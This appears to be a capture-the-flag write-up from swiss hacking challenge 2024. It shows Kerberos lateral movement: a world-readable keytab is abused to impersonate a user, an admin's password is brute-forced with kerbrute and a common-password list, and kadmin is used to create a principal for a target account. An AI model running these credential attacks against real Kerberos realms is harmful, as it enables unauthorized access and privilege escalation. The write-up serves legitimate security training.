swiss hacking challenge 2024 - three-headed-doggo-protocol

Posted on May 1, 2024

Tags: SHC24 Writeup

Difficulty: medium

Category: misc

Author: muffinx

Our infrastructure team at General Management LLC does a good job most of the time.

But Anna’s Team is a bit chaotic.

She had the great idea to use Kerberos as an authentication method for our Linux servers, but the execution uhmm… You will see. At her presentation she called it the “three-headed-doggo-protocol” and showed a picture of 3 puppies with a comic sans font saying “You have to first get through us”.

I cringed so hard during this meeting, I chewed on some really sour chew gums, even tough I am sour resistant I just had to have an explanation for my facial expressions. And guess who laughed at that joke: Bob and Peter. They are both nice guys but man together with Anna they are kinda like Team Rocket from Pokemon.

And whatever they do, it will explode and they will get blasted away with it.

So what can possibly happen?

Bob already did the first genius move, have fun with it!

Endpoints

We get an ssh address and bob:bob as login credentials

Exploitation

workstation1

Upon login, we see a notes.txt:

So General Management LLC now uses Kerberos Authentication for having SSO for their linux servers.

Realm: CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL

I can now just ssh into workstation2.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL with my user:

ssh bob@workstation2.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL

And it works!!! (Strictly use hostnames, don't use IPs)

We first need to get a kerberos ticket using kinit:

bob@workstation1:~$ klist
Ticket cache: FILE:/tmp/krb5cc_999_XXXXhd59ur
Default principal: bob@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL

Valid starting     Expires            Service principal
04/17/24 20:25:09  04/18/24 06:25:09  krbtgt/CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
	renew until 04/18/24 20:25:04

workstation2

Then we can connect to the second workstation using the command in the notes, where we find more info:

I need to brief peter to keep his account safe.

Looks like peter has a publicly readable keytab:

$ ls -al /etc/peter.keytab
-rwxrwxrwx 1 root root 130 Apr 17 20:11 /etc/peter.keytab

We can log in as peter and then use SSH to log in with his account:

kinit peter@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL -k -t /etc/peter.keytab
ssh peter@workstation2.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL

More notes on peters account:

TODO:

- Fix issue on server1.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
- Make coffee
- Meet bob

server1

We can connect to server1 where we are greeted with the following information:

anna has an insecure password and probably used one of the 10k-most-common passwords...
anna is a kerberos admin!

I used kerbrute and the 10k-most-common.txt list to brute-force annas password:

$ wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
$ chmod +x kerbrute_linux_amd64
$ ./kerbrute_linux_amd64 bruteuser 10k-most-common.txt anna \
    -d CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL \
    --dc kerberos.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL

The Domain and DC info can be found in /etc/krb5.conf:

[realms]
        CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL = {
                kdc = kerberos.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
                admin_server = kerberos.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
                default_domain = CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
        }

After some time, kerbrute gives us a password:

2024/04/17 20:34:16 >  Using KDC(s):
2024/04/17 20:34:16 >  	kerberos.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL:88

2024/04/17 20:38:06 >  [+] VALID LOGIN:	 anna@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL:annabell
2024/04/17 20:38:06 >  Done! Tested 5721 logins (1 successes) in 229.933 seconds

Judging from /etc/passwd, there seems to be a flag user:

flag:x:997:997::/home/flag:/bin/bash

As we can now log in as anna, we’ll just create the user as a kerberos principal and set a password:

$ ssh anna@server1.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
$ kadmin
Authenticating as principal anna/admin@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL with password.
Password for anna/admin@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL:
kadmin:  addprinc flag
No policy specified for flag@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL; defaulting to no policy
Enter password for principal "flag@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL":
Re-enter password for principal "flag@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL":
Principal "flag@CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL" created.

Now all that is left is to log in as the flag user:

$ ssh flag@server1.CHALLENGE-AF984B42-7457-43B0-9534-0ACE52228C6F.SVC.CLUSTER.LOCAL
$ ls -l
total 4
-rw-r--r-- 1 root root 35 Feb 23 18:03 flag.txt

Flag

  shc2024{k3rb3r0s_l4t3r4l_m0v3m3nt}

Conclusion

This challenge lead me to become a bit of a kerberos fanboy. It’s probably best if I don’t set it up though.